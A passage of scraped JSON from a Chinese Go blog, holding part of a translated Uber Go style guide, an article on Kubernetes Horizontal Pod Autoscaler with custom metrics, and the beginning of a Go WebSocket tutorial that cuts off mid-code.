如果程序包名称与导入路径的最后一个元素不匹配，则必须使用导入别名。\nimport ( \u0026quot;net/http\u0026quot; client \u0026quot;example.com/client-go\u0026quot; trace \u0026quot;example.com/trace/v2\u0026quot; ) 在所有其他情况下，除非导入之间有直接冲突，否则应避免导入别名。\nBad\nimport ( \u0026quot;fmt\u0026quot; \u0026quot;os\u0026quot; nettrace \u0026quot;golang.net/x/trace\u0026quot; ) vs.\nGood\nimport ( \u0026quot;fmt\u0026quot; \u0026quot;os\u0026quot; \u0026quot;runtime/trace\u0026quot; nettrace \u0026quot;golang.net/x/trace\u0026quot; ) 函数分组与顺序 函数应按粗略的调用顺序排序。 同一文件中的函数应按接收者分组。 因此，导出的函数应先出现在文件中，放在struct、const和var定义的后面。\n在定义类型之后，但在接收者的其余方法之前，可能会出现一个newXYZ()/ NewXYZ()。\n由于函数是按接收者分组的，因此普通工具函数应在文件末尾出现。\nBad\nfunc (s *something) Cost() { return calcCost(s.weights) } type something struct{ ... } func calcCost(n int[]) int {...} func (s *something) Stop() {...} func newSomething() *something { return \u0026amp;something{} } vs.\nGood\ntype something struct{ ... } func newSomething() *something { return \u0026amp;something{} } func (s *something) Cost() { return calcCost(s.weights) } func (s *something) Stop() {...} func calcCost(n int[]) int {...} 减少嵌套 代码应通过尽可能先处理错误情况/特殊情况并尽早返回或继续循环来减少嵌套。减少嵌套多个级别的代码的代码量。\nBad\nfor _, v := range data { if v.F1 == 1 { v = process(v) if err := v.Call(); err == nil { v.Send() } else { return err } } else { log.Printf(\u0026quot;Invalid v: %v\u0026quot;, v) } } vs.\nGood\nfor _, v := range data { if v.F1 != 1 { log.Printf(\u0026quot;Invalid v: %v\u0026quot;, v) continue } v = process(v) if err := v.Call(); err != nil { return err } v.Send() } 不必要的else 如果在if的两个分支中都设置了变量，则可以将其替换为单个if。\nBad\nvar a int if b { a = 100 } else { a = 10 } vs.\nGood\na := 10 if b { a = 100 } 顶层变量声明 在顶层，使用标准var关键字。请勿指定类型，除非它与表达式的类型不同。\nBad\nvar _s string = F() func F() string { return \u0026quot;A\u0026quot; } vs.\nGood\nvar _s = F() // 由于F已经明确了返回一个字符串类型，因此我们没有必要显式指定_s的类型 func F() string { return \u0026quot;A\u0026quot; } 如果表达式的类型与所需的类型不完全匹配，请指定类型。\ntype myError struct{} func (myError) Error() string { return \u0026quot;error\u0026quot; } func F() myError { return myError{} } var _e error = F() // F返回一个myError类型的实例，但是我们要error类型 对于未导出的顶层常量和变量，使用_作为前缀 译注：这个是Uber内部的惯用法，目前看并不普适。\n在未导出的顶级vars和consts， 前面加上前缀_，以使它们在使用时明确表示它们是全局符号。\n例外：未导出的错误值，应以err开头。\n基本依据：顶级变量和常量具有包范围作用域。使用通用名称可能很容易在其他文件中意外使用错误的值。\nBad\n// foo.go const ( defaultPort = 8080 defaultUser = \u0026quot;user\u0026quot; ) // bar.go func Bar() { defaultPort := 9090 ... fmt.Println(\u0026quot;Default port\u0026quot;, defaultPort) // We will not see a compile error if the first line of // Bar() is deleted. } vs.\nGood\n// foo.go const ( _defaultPort = 8080 _defaultUser = \u0026quot;user\u0026quot; ) 结构体中的嵌入 嵌入式类型（例如mutex）应位于结构体内的字段列表的顶部，并且必须有一个空行将嵌入式字段与常规字段分隔开。\nBad\ntype Client struct { version int http.Client } vs.\nGood\ntype Client struct { http.Client version int } 使用字段名初始化结构体 初始化结构体时，几乎始终应该指定字段名称。现在由go vet强制执行。\nBad\nk := User{\u0026quot;John\u0026quot;, \u0026quot;Doe\u0026quot;, true} vs.\nGood\nk := User{ FirstName: \u0026quot;John\u0026quot;, LastName: \u0026quot;Doe\u0026quot;, Admin: true, } 例外：如果有3个或更少的字段，则可以在测试表中省略字段名称。\ntests := []struct{ }{ op Operation want string }{ {Add, \u0026quot;add\u0026quot;}, {Subtract, \u0026quot;subtract\u0026quot;}, } 本地变量声明 如果将变量明确设置为某个值，则应使用短变量声明形式（:=）。\nBad\nvar s = \u0026quot;foo\u0026quot; vs.\nGood\ns := \u0026quot;foo\u0026quot; 但是，在某些情况下，var 使用关键字时默认值会更清晰。例如，声明空切片。\nBad\nfunc f(list []int) { filtered := []int{} for _, v := range list { if v \u0026gt; 10 { filtered = append(filtered, v) } } } vs.\nGood\nfunc f(list []int) { var filtered []int for _, v := range list { if v \u0026gt; 10 { filtered = append(filtered, v) } } } nil是一个有效的slice nil是一个有效的长度为0的slice，这意味着：\n您不应明确返回长度为零的切片。返回nil 来代替。 Bad\nif x == \u0026quot;\u0026quot; { return []int{} } vs.\nGood\nif x == \u0026quot;\u0026quot; { return nil } 要检查切片是否为空，请始终使用len(s) == 0。不要检查 nil。 Bad\nfunc isEmpty(s []string) bool { return s == nil } vs.\nGood\nfunc isEmpty(s []string) bool { return len(s) == 0 } 零值切片可立即使用，无需调用make创建。 Bad\nnums := []int{} // or, nums := make([]int) if add1 { nums = append(nums, 1) } if add2 { nums = append(nums, 2) } vs.\nGood\nvar nums []int if add1 { nums = append(nums, 1) } if add2 { nums = append(nums, 2) } 缩小变量作用域 如果有可能，尽量缩小变量作用范围。除非它与减少嵌套的规则冲突。\nBad\nerr := ioutil.WriteFile(name, data, 0644) if err != nil { return err } vs.\nGood\nif err := ioutil.WriteFile(name, data, 0644); err != nil { return err } 如果需要在if之外使用函数调用的结果，则不应尝试缩小范围。\nBad\nif data, err := ioutil.ReadFile(name); err == nil { err = cfg.Decode(data) if err != nil { return err } fmt.Println(cfg) return nil } else { return err } vs.\nGood\ndata, err := ioutil.ReadFile(name) if err != nil { return err } if err := cfg.Decode(data); err != nil { return err } fmt.Println(cfg) return nil 避免裸参数 函数调用中的裸参数可能会损害可读性。当参数名称的含义不明显时，请为参数添加C样式注释（/* … */）。\nBad\n// func printInfo(name string, isLocal, done bool) printInfo(\u0026quot;foo\u0026quot;, true, true) vs.\nGood\n// func printInfo(name string, isLocal, done bool) printInfo(\u0026quot;foo\u0026quot;, true /* isLocal */, true /* done */) 更好的作法是，将裸bool类型替换为自定义类型，以获得更易读和类型安全的代码。将来，该参数不仅允许两个状态（true/false）。\ntype Region int const ( UnknownRegion Region = iota Local ) type Status int const ( StatusReady = iota + 1 StatusDone // Maybe we will have a StatusInProgress in the future. ) func printInfo(name string, region Region, status Status) 使用原始字符串字面值，避免转义 Go支持原始字符串字面值，可以跨越多行并包含引号。使用这些字符串可以避免更难阅读的手工转义的字符串。\nBad\nwantError := \u0026quot;unknown name:\\\u0026quot;test\\\u0026quot;\u0026quot; vs.\nGood\nwantError := `unknown error:\u0026quot;test\u0026quot;` 初始化结构体引用 在初始化结构引用时，请使用\u0026amp;T{}代替new(T)，以使其与结构体初始化一致。\nBad\nsval := T{Name: \u0026quot;foo\u0026quot;} // 不一致 sptr := new(T) sptr.Name = \u0026quot;bar\u0026quot; vs.\nGood\nsval := T{Name: \u0026quot;foo\u0026quot;} sptr := \u0026amp;T{Name: \u0026quot;bar\u0026quot;} 格式化字符串放在Printf外部 如果你为Printf-style函数声明格式字符串，请将格式化字符串放在外面，并将其设置为const常量。\n这有助于go vet对格式字符串执行静态分析。\nBad\nmsg := \u0026quot;unexpected values %v, %v\\n\u0026quot; fmt.Printf(msg, 1, 2) vs.\nGood\nconst msg = \u0026quot;unexpected values %v, %v\\n\u0026quot; fmt.Printf(msg, 1, 2) 命名Printf样式的函数 声明Printf-style函数时，请确保go vet可以检测到它并检查格式字符串。\n这意味着您应尽可能使用预定义的Printf-style函数名称。go vet将默认检查这些。有关更多信息，请参见Printf系列。\n如果不能使用预定义的名称，请以f结束选择的名称：Wrapf，而不是Wrap。go vet可以要求检查特定的Printf样式名称，但名称必须以f结尾。\n$ go vet -printfuncs = wrapf,statusf\n另请参阅”go vet：Printf家族检查“。\n五. 模式 测试表 在核心测试逻辑重复时，将表驱动测试与子测试一起使用，以避免重复代码。\nBad\n// func TestSplitHostPort(t *testing.T) host, port, err := net.SplitHostPort(\u0026quot;192.0.2.0:8000\u0026quot;) require.NoError(t, err) assert.Equal(t, \u0026quot;192.0.2.0\u0026quot;, host) assert.Equal(t, \u0026quot;8000\u0026quot;, port) host, port, err = net.SplitHostPort(\u0026quot;192.0.2.0:http\u0026quot;) require.NoError(t, err) assert.Equal(t, \u0026quot;192.0.2.0\u0026quot;, host) assert.Equal(t, \u0026quot;http\u0026quot;, port) host, port, err = net.SplitHostPort(\u0026quot;:8000\u0026quot;) require.NoError(t, err) assert.Equal(t, \u0026quot;\u0026quot;, host) assert.Equal(t, \u0026quot;8000\u0026quot;, port) host, port, err = net.SplitHostPort(\u0026quot;1:8\u0026quot;) require.NoError(t, err) assert.Equal(t, \u0026quot;1\u0026quot;, host) assert.Equal(t, \u0026quot;8\u0026quot;, port) vs.\nGood\n// func TestSplitHostPort(t *testing.T) tests := []struct{ give string wantHost string wantPort string }{ { give: \u0026quot;192.0.2.0:8000\u0026quot;, wantHost: \u0026quot;192.0.2.0\u0026quot;, wantPort: \u0026quot;8000\u0026quot;, }, { give: \u0026quot;192.0.2.0:http\u0026quot;, wantHost: \u0026quot;192.0.2.0\u0026quot;, wantPort: \u0026quot;http\u0026quot;, }, { give: \u0026quot;:8000\u0026quot;, wantHost: \u0026quot;\u0026quot;, wantPort: \u0026quot;8000\u0026quot;, }, { give: \u0026quot;1:8\u0026quot;, wantHost: \u0026quot;1\u0026quot;, wantPort: \u0026quot;8\u0026quot;, }, } for _, tt := range tests { t.Run(tt.give, func(t *testing.T) { host, port, err := net.SplitHostPort(tt.give) require.NoError(t, err) assert.Equal(t, tt.wantHost, host) assert.Equal(t, tt.wantPort, port) }) } 测试表使向错误消息添加上下文，减少重复的逻辑以及添加新的测试用例变得更加容易。\n我们遵循这样的约定：将结构体切片称为tests。 每个测试用例称为tt。此外，我们鼓励使用give和want前缀说明每个测试用例的输入和输出值。\ntests := []struct{ give string wantHost string wantPort string }{ // ... } for _, tt := range tests { // ... } 功能选项 功能选项是一种模式，您可以在其中声明一个不透明Option类型，该类型在某些内部结构中记录信息。您接受这些选项的可变编号，并根据内部结构上的选项记录的全部信息采取行动。\n将此模式用于您需要扩展的构造函数和其他公共API中的可选参数，尤其是在这些功能上已经具有三个或更多参数的情况下。\nBad\n// package db func Connect( addr string, timeout time.Duration, caching bool, ) (*Connection, error) { // ... } // Timeout and caching must always be provided, // even if the user wants to use the default. db.Connect(addr, db.DefaultTimeout, db.DefaultCaching) db.Connect(addr, newTimeout, db.DefaultCaching) db.Connect(addr, db.DefaultTimeout, false /* caching */) db.Connect(addr, newTimeout, false /* caching */) vs.\nGood\ntype options struct { timeout time.Duration caching bool } // Option overrides behavior of Connect. type Option interface { apply(*options) } type optionFunc func(*options) func (f optionFunc) apply(o *options) { f(o) } func WithTimeout(t time.Duration) Option { return optionFunc(func(o *options) { o.timeout = t }) } func WithCaching(cache bool) Option { return optionFunc(func(o *options) { o.caching = cache }) } // Connect creates a connection. func Connect( addr string, opts ...Option, ) (*Connection, error) { options := options{ timeout: defaultTimeout, caching: defaultCaching, } for _, o := range opts { o.apply(\u0026amp;options) } // ... } // Options must be provided only if needed. db.Connect(addr) db.Connect(addr, db.WithTimeout(newTimeout)) db.Connect(addr, db.WithCaching(false)) db.Connect( addr, db.WithCaching(false), db.WithTimeout(newTimeout), ) 还可以参考下面资料：\nSelf-referential functions and the design of options Functional options for friendly APIs 我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/10/12/uber-go-style-guide/","summary":"\u003cp\u003e\u003ca href=\"https://www.uber.com/\"\u003eUber\u003c/a\u003e是世界领先的生活出行服务提供商，也是\u003ca href=\"https://tonybai.com/tag/go\"\u003eGo语言\u003c/a\u003e的早期adopter，根据\u003ca href=\"https://eng.uber.com/\"\u003eUber工程博客\u003c/a\u003e的内容，大致可以判断出Go语言在Uber内部扮演了十分重要的角色。Uber内部的Go语言工程实践也是硕果累累，有大量Go实现的内部工具\u003ca href=\"https://github.com/uber-go\"\u003e被Uber开源到github上\u003c/a\u003e，诸如被Gopher圈熟知的\u003ca href=\"https://github.com/uber-go/zap\"\u003ezap\u003c/a\u003e、\u003ca href=\"https://github.com/jaegertracing/jaeger\"\u003ejaeger\u003c/a\u003e等。2018年年末Uber将内部的\u003ca href=\"https://github.com/uber-go/guide\"\u003eGo风格规范\u003c/a\u003e开源到github，经过一年的积累和更新，该规范已经初具规模，并受到广大Gopher的关注。本文是该规范的中文版本，并”夹带“了部分笔者的点评，希望对国内Gopher有所帮助。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e注：该版本基于\u003ca href=\"https://github.com/uber-go/guide/commit/3baa2bdd4677d7ef650be138a7c53b49d36da645\"\u003ecommit 3baa2bd\u003c/a\u003e翻译，后续不会持续更新。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/uber-go-style-guide.png\"\u003e\u003c/p\u003e\n\u003ch2 id=\"一-介绍\"\u003e一. 介绍\u003c/h2\u003e\n\u003cp\u003e样式(style)是支配我们代码的惯例。术语“样式”有点用词不当，因为这些约定涵盖的范围不限于由gofmt替我们处理的源文件格式。\u003c/p\u003e","title":"Uber Go语言编码规范"},{"content":"\n如何在Kubernetes上实现应用缩放？ 使用静态配置将应用程序部署到生产环境并不是最佳选择。\n流量模式可能会快速变化，应用程序应该能够实现自适应：\n当需求增加时，应用程序应扩大规模（增加副本数）以保持响应速度。 当需求减少时，应用程序应缩小规模（减少副本数量），以免浪费资源。 Kubernetes以Horizontal Pod Autoscaler的形式为自动缩放应用程序提供了出色的支持。\n下面我们将学习如何使用它。\n不同类型的自动缩放 首先，为了消除任何误解，让我们澄清一下Kubernetes中的术语“自动缩放”的不同用法。\n在Kubernetes中，有几件事可被称为“自动缩放”，包括：\n水平Pod自动缩放器：调整应用程序的副本数 Vertical Pod Autoscaler：调整容器的资源请求(request)和限制(limit) 集群自动缩放器：调整集群的节点数 尽管这些组件都可以“自动缩放”某些东西，但是它们彼此之间完全不相关。\n它们都针对非常不同的用例，并使用不同的概念和机制。\n它们是在单独的项目中开发的，可以彼此独立使用。\n本文介绍的是水平Pod自动缩放器。\n什么是水平Pod自动缩放器？ 水平Pod自动配置器是Kubernetes内置的功能，允许基于一个或多个被监测的指标水平缩放应用规模。\n水平缩放意味着增加和减少副本数量。垂直缩放意味着增加和减少单个副本的计算资源。\n从技术上讲，Horizontal Pod Autoscaler是Kubernetes控制器管理器(controller manager)中的控制器(controller)，它是由HorizontalPodAutoscaler资源对象配置的。\nHorizontal Pod Autoscaler可以监视有关应用程序的指标，并不断调整副本数以最佳地满足当前需求。\nHorizontal Pod Autoscaler可缩放的资源包括Deployment，StatefulSet，ReplicaSet和ReplicationController。\n为了自动缩放应用程序，Horizontal Pod自动缩放器会执行一个永久控制循环：\n此控制循环的步骤为：\n查询缩放指标 计算所需的副本数 将应用程序缩放到所需数量的副本 控制循环的默认周期为15秒\n所需副本数的计算基于缩放度量和该度量的用户提供的目标值。\n目的是计算一个副本计数，该副本计数将使度量值尽可能接近目标值。\n例如，假设缩放指标是每个副本的每秒请求速率：\n如果目标值为10 req / sec，而当前值为20 req / sec，则Horizontal Pod Autoscaler将按比例放大应用程序（即增加副本数），以使度量标准减小并更接近目标值。 如果目标值为10 req / sec，当前值为2 req / sec，则Horizontal Pod Autoscaler将按比例缩小应用程序（即减少副本数），以使度量标准增加并更接近目标值。 用于计算所需副本数的算法基于以下公式：\nX = N * (c/t) 其中X是所需的副本数，N是当前副本数，c是度量的当前值，t是目标值。\n您可以在文档中找到有关算法的详细信息。\n这就是Horizontal Pod Autoscaler的工作方式，但是如何使用它呢？\n如何配置水平pod自动缩放器？ 通过创建HorizontalPodAutoscaler资源，可以将Horizontal Pod Autoscaler配置为自动缩放应用程序。\n此资源使您可以指定以下参数：\n可扩展的资源（例如，部署） 最小和最大副本数 缩放指标 缩放指标的目标值 创建此资源后，Horizontal Pod Autoscaler将使用提供的参数开始对您的应用执行上述控制循环。\n具体的HorizontalPodAutoscaler资源如下所示：\n//hpa.yaml apiVersion: autoscaling/v2beta2 kind: HorizontalPodAutoscaler metadata: name: myhpa spec: scaleTargetRef: apiVersion: apps/v1 kind: Deployment name: myapp minReplicas: 1 maxReplicas: 10 metrics: - type: Pods pods: metric: name: myapp_requests_per_second target: type: AverageValue averageValue: 2 存在清单文件结构不同的HorizontalPodAutoscaler资源的不同版本。上面的示例使用version v2beta2，它是撰写本文时的最新版本。\n此资源myapp根据myapp_requests_per_second一个目标值为2 的指标指定一个名为Deployment的部署，该部署将在1到10个副本之间自动缩放。\n您可以想象到，该myapp_requests_per_second指标代表此部署中各个Pod的请求率-因此，本规范的目的是自动调整Deployment的目标，以使每个Pod保持每秒2个请求的请求率。\n到目前为止，这听起来不错，但有一个问题。\n指标来自哪里？\n什么是指标注册表？ 整个自动缩放机制均基于代表应用程序当前负载的指标。\n定义HorizontalPodAutoscaler资源时，您必须指定此类指标。\n但是Horizontal Pod Autoscaler如何知道如何获取这些指标？\n事实证明，还有另一个组件在起作用-指标注册表。\nHorizontal Pod Autoscaler从指标注册表查询指标：\n度量标准注册表是集群中的中心位置，度量标准（任何类型）向客户端（任何类型）公开。\nHorizontal Pod Autoscaler是这些客户端之一。\n度量标准注册表的目的是为客户端提供从中查询度量标准的标准接口。\n指标注册表的接口包含三个单独的API：\n资源度量API 自定义指标API 外部度量API 这些API旨在提供不同类型的指标：\n资源度量标准API： Pod和节点的预定义资源使用度量标准（CPU和内存） 自定义指标API：与Kubernetes对象关联的自定义指标 外部指标API：与Kubernetes对象不关联的自定义指标 所有这些度量标准API都是扩展API。\n这意味着它们是核心Kubernetes API的扩展，可通过Kubernetes API服务器进行访问。\n如果要自动缩放应用程序，这对您意味着什么？\n您想要用作缩放指标的任何指标都必须通过这三个指标API之一公开。\n因为只有这样，Horizontal Pod Autoscaler才能访问它们。\n因此，要自动缩放应用程序，您的任务不仅是配置Horizontal Pod自动缩放器…\n您还必须通过度量标准注册表公开所需的缩放度量标准。\n如何通过度量标准API公开度量标准？\n通过在集群中安装和配置其他组件。\n对于每个度量标准API，您需要一个相应的度量标准API服务器，并且需要对其进行配置以通过度量标准API公开特定的度量标准。\n默认情况下，Kubernetes中未安装任何度量标准API服务器，这意味着默认情况下未启用度量标准API 。\n此外，您需要一个指标收集器，该指标收集器从源（例如，从目标应用的Pod）收集所需的指标，并将其提供给指标API服务器。\n对于不同的度量标准API，度量标准API服务器和度量标准收集器有不同的选择。\n资源指标API：\n指标收集器是cAdvisor，它在每个工作程序节点上作为kubelet的一部分运行（因此默认情况下已安装） 资源指标API的官方指标API服务器是metrics-server 自定义指标API和外部指标API：\n指标收集器的一个流行选择是Prometheus。但是，也可以使用其他指标系统（例如Datadog或Google Stackdriver）代替 该prometheus适配器是与普罗米修斯集成为度量收集的度量标准API服务器-但是，其他度量收集器有自己的度量标准API服务器 因此，要通过一种度量标准API公开度量标准，您必须执行以下步骤：\n安装指标收集器（例如Prometheus）并将其配置为收集所需指标（例如从您的应用程序的Pod中收集） 安装度量标准API服务器（例如Prometheus适配器）并将其配置为通过相应的度量标准API从度量标准收集器暴露度量数据 请注意，这专门适用于提供自定义指标的自定义指标API和外部指标API。Resource Metrics API仅提供默认指标，而不能配置为提供自定义指标。\n以上信息很多，让我们把它们放在一起再完整过一遍。\n放在一起 让我们来看一个完整的示例，该示例将应用配置为由Horizontal Pod Autoscaler自动缩放。\n想象一下，您想基于副本的平均每秒请求速率来自动缩放Web应用程序。\n另外，假设您要使用基于Prometheus的设置来通过Custom Metrics API公开请求率指标。\n请求速率是与Kubernetes对象（Pods）关联的自定义指标，因此必须通过Custom Metrics API公开。\n以下是达到目标的一系列步骤：\n设置您的应用程序，以将接收到的请求总数作为Prometheus指标公开 安装Prometheus并将其配置为从应用程序的所有Pod中收集此指标 安装Prometheus适配器并将其配置为将度量标准从Prometheus转换为每秒请求速率（使用PromQL）并且作为myapp_requests_per_second指标通过Custom Metrics API 公开 创建一个HorizontalPodAutoscaler资源（如上所示），指定myapp_requests_per_second为缩放指标和适当的目标值 一旦创建HorizontalPodAutoscaler资源，Horizontal Pod Autoscaler就会启动，并开始根据您的配置自动缩放您的应用程序。\n现在，您可以观察您的应用程序适应流量的情况。\n本文为基于自定义指标自动缩放应用程序设置了理论框架。\n在以后的文章中，您将把这些知识付诸实践，并在自己的集群上使用自己的应用程序执行上述步骤。\n本文翻译自《How to autoscale apps on Kubernetes with custom metrics》\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/10/11/autoscaling-apps-on-kubernetes/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/autoscaling-apps-kubernetes-1.png\"\u003e\u003c/p\u003e\n\u003ch2 id=\"如何在kubernetes上实现应用缩放\"\u003e如何在Kubernetes上实现应用缩放？\u003c/h2\u003e\n\u003cp\u003e使用静态配置将应用程序部署到生产环境并不是最佳选择。\u003c/p\u003e\n\u003cp\u003e流量模式可能会快速变化，应用程序应该能够实现自适应：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e当需求增加时，应用程序应扩大规模（增加副本数）以保持响应速度。\u003c/li\u003e\n\u003cli\u003e当需求减少时，应用程序应缩小规模（减少副本数量），以免浪费资源。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/tag/kubernetes\"\u003eKubernetes\u003c/a\u003e以Horizontal Pod Autoscaler的形式为自动缩放应用程序提供了出色的支持。\u003c/p\u003e","title":"在Kubernetes上如何基于自定义指标实现应用的自动缩放"},{"content":"如今，在不刷新页面的情况下发送消息并获得即时响应在我们看来是理所当然的事情。但是曾几何时，启用实时功能对开发人员来说是一个真正的挑战。开发社区在HTTP长轮询(http long polling)和AJAX上走了很长一段路，但终于还是找到了一种构建真正的实时应用程序的解决方案。\n该解决方案以WebSockets的形式出现，这使得在用户浏览器和服务器之间开启一个交互式会话成为可能。WebSocket支持浏览器将消息发送到服务器并接收事件驱动的响应，而不必使用长轮询服务器的方式去获取响应。\n就目前而言，WebSockets是构建实时应用程序的首选解决方案，包括在线游戏，即时通讯程序，跟踪应用程序等均在使用这一方案。本文将说明WebSockets的操作方式，并说明我们如何使用Go语言构建WebSocket应用程序。我们还将比较最受欢迎的WebSocket库，以便您可以根据选择出最适合您的那个。\n网络套接字(network socket)与WebSocket 在Go中使用WebSockets之前，让我们在网络套接字和WebSockets之间划清一条界限。\n网络套接字 网络套接字（或简称为套接字）充当内部端点，用于在同一计算机或同一网络上的不同计算机上运行的应用程序之间交换数据。\n套接字是Unix和Windows操作系统的关键部分，它们使开发人员更容易创建支持网络的软件。应用程序开发人员不可以直接在程序中包含套接字，而不是从头开始构建网络连接。由于网络套接字可用于许多不同的网络协议（如HTTP，FTP等），因此可以同时使用多个套接字。\n套接字是通过一组函数调用创建和使用的，这些函数调用有时称为套接字的应用程序编程接口（API）。正是由于这些函数调用，套接字可以像常规文件一样被打开。\n网络套接字有如下几种类型：\n数据报套接字（SOCK_DGRAM），也称为无连接套接字，使用用户数据报协议（UDP）。数据报套接字支持双向消息流并保留记录边界。\n流套接字（SOCK_STREAM），也称为面向连接的套接字，使用传输控制协议（TCP），流控制传输协议（SCTP）或数据报拥塞控制协议（DCCP）。这些套接字提供了没有记录边界的双向，可靠，有序且无重复的数据流。\n原始套接字（或原始IP套接字）通常在路由器和其他网络设备中可用。这些套接字通常是面向数据报的，尽管它们的确切特性取决于协议提供的接口。大多数应用程序不使用原始套接字。提供它们是为了支持新的通信协议的开发，并提供对现有协议更深层设施的访问。\n套接字通信 首先，让我们弄清楚如何确保每个套接字都是唯一的。否则，您将无法建立可靠的沟通通道(channel)。\n为每个进程(process)提供唯一的PID有助于解决本地问题。但是，这种方法不适用于网络。要创建唯一的套接字，我们建议使用TCP / IP协议。使用TCP / IP，网络层的IP地址在给定网络内是唯一的，并且协议和端口在主机应用程序之间是唯一的。\nTCP和UDP是用于主机之间通信的两个主要协议。让我们看看您的应用程序如何连接到TCP和UDP套接字。\n连接到TCP套接字 为了建立TCP连接，Go客户端使用net程序包中的DialTCP函数。DialTCP返回一个TCPConn对象。建立连接后，客户端和服务器开始交换数据：客户端通过TCPConn向服务器发送请求，服务器解析请求并发送响应，TCPConn从服务器接收响应。\n图:TCP Socket\n该连接将持续保持有效，直到客户端或服务器将其关闭。创建连接的函数如下：\n客户端：\n// init tcpAddr, err := net.ResolveTCPAddr(resolver, serverAddr) if err != nil { // handle error } conn, err := net.DialTCP(network, nil, tcpAddr) if err != nil { // handle error } // send message _, err = conn.Write({message}) if err != nil { // handle error } // receive message var buf [{buffSize}]byte _, err := conn.Read(buf[0:]) if err != nil { // handle error } 服务端：\n// init tcpAddr, err := net.ResolveTCPAddr(resolver, serverAddr) if err != nil { // handle error } listener, err := net.ListenTCP(\u0026quot;tcp\u0026quot;, tcpAddr) if err != nil { // handle error } // listen for an incoming connection conn, err := listener.Accept() if err != nil { // handle error } // send message if _, err := conn.Write({message}); err != nil { // handle error } // receive message buf := make([]byte, 512) n, err := conn.Read(buf[0:]) if err != nil { // handle error } 连接到UDP套接字 与TCP套接字相反，使用UDP套接字，客户端只是向服务器发送数据报。没有Accept函数，因为服务器不需要接受连接，而只是等待数据报到达。\n图:UDP Socket\n其他TCP函数都具有UDP对应的函数；只需在上述函数中将TCP替换为UDP。\n客户端：\n// init raddr, err := net.ResolveUDPAddr(\u0026quot;udp\u0026quot;, address) if err != nil { // handle error } conn, err := net.DialUDP(\u0026quot;udp\u0026quot;, nil, raddr) if err != nil { // handle error } ....... // send message buffer := make([]byte, maxBufferSize) n, addr, err := conn.ReadFrom(buffer) if err != nil { // handle error } ....... // receive message buffer := make([]byte, maxBufferSize) n, err = conn.WriteTo(buffer[:n], addr) if err != nil { // handle error } 服务端：\n// init udpAddr, err := net.ResolveUDPAddr(resolver, serverAddr) if err != nil { // handle error } conn, err := net.ListenUDP(\u0026quot;udp\u0026quot;, udpAddr) if err != nil { // handle error } ....... // send message buffer := make([]byte, maxBufferSize) n, addr, err := conn.ReadFromUDP(buffer) if err != nil { // handle error } ....... // receive message buffer := make([]byte, maxBufferSize) n, err = conn.WriteToUDP(buffer[:n], addr) if err != nil { // handle error } 什么是WebSocket WebSocket通信协议通过单个TCP连接提供全双工通信通道。与HTTP相比，WebSocket不需要您发送请求即可获得响应。它们允许双向数据流，因此您只需等待服务器响应即可。可用时，它将向您发送一条消息。\n对于需要连续数据交换的服务（例如即时通讯程序，在线游戏和实时交易系统），WebSockets是一个很好的解决方案。您可以在RFC 6455规范中找到有关WebSocket协议的完整信息。\nWebSocket连接由浏览器请求发起，并由服务器响应，之后连接就建立起来了。此过程通常称为握手。WebSockets中的特殊标头仅需要浏览器与服务器之间的一次握手即可建立连接，该连接将在其整个生命周期内保持活动状态。\nWebSockets解决了许多实时Web开发的难题，与传统的HTTP相比，它具有许多优点：\n轻量级报头减少了数据传输开销。 单个Web客户端仅需要一个TCP连接。 WebSocket服务器可以将数据推送到Web客户端。 图:WebSocket\nWebSocket协议实现起来相对简单。它使用HTTP协议进行初始握手。成功握手后，连接就建立起来了，并且WebSocket实质上使用原始TCP(raw tcp)来读取/写入数据。\n客户端请求如下所示：\nGET /chat HTTP/1.1 Host: server.example.com Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw== Sec-WebSocket-Protocol: chat, superchat Sec-WebSocket-Version: 13 Origin: http://example.com 这是服务器响应：\nHTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk= Sec-WebSocket-Protocol: chat 如何在Go中创建WebSocket应用 要基于该net/http 库编写简单的WebSocket echo服务器，您需要：\n发起握手 从客户端接收数据帧 发送数据帧给客户端 关闭握手 首先，让我们创建一个带有WebSocket端点的HTTP处理程序：\n// HTTP server with WebSocket endpoint func Server() { http.HandleFunc(\u0026quot;/\u0026quot;, func(w 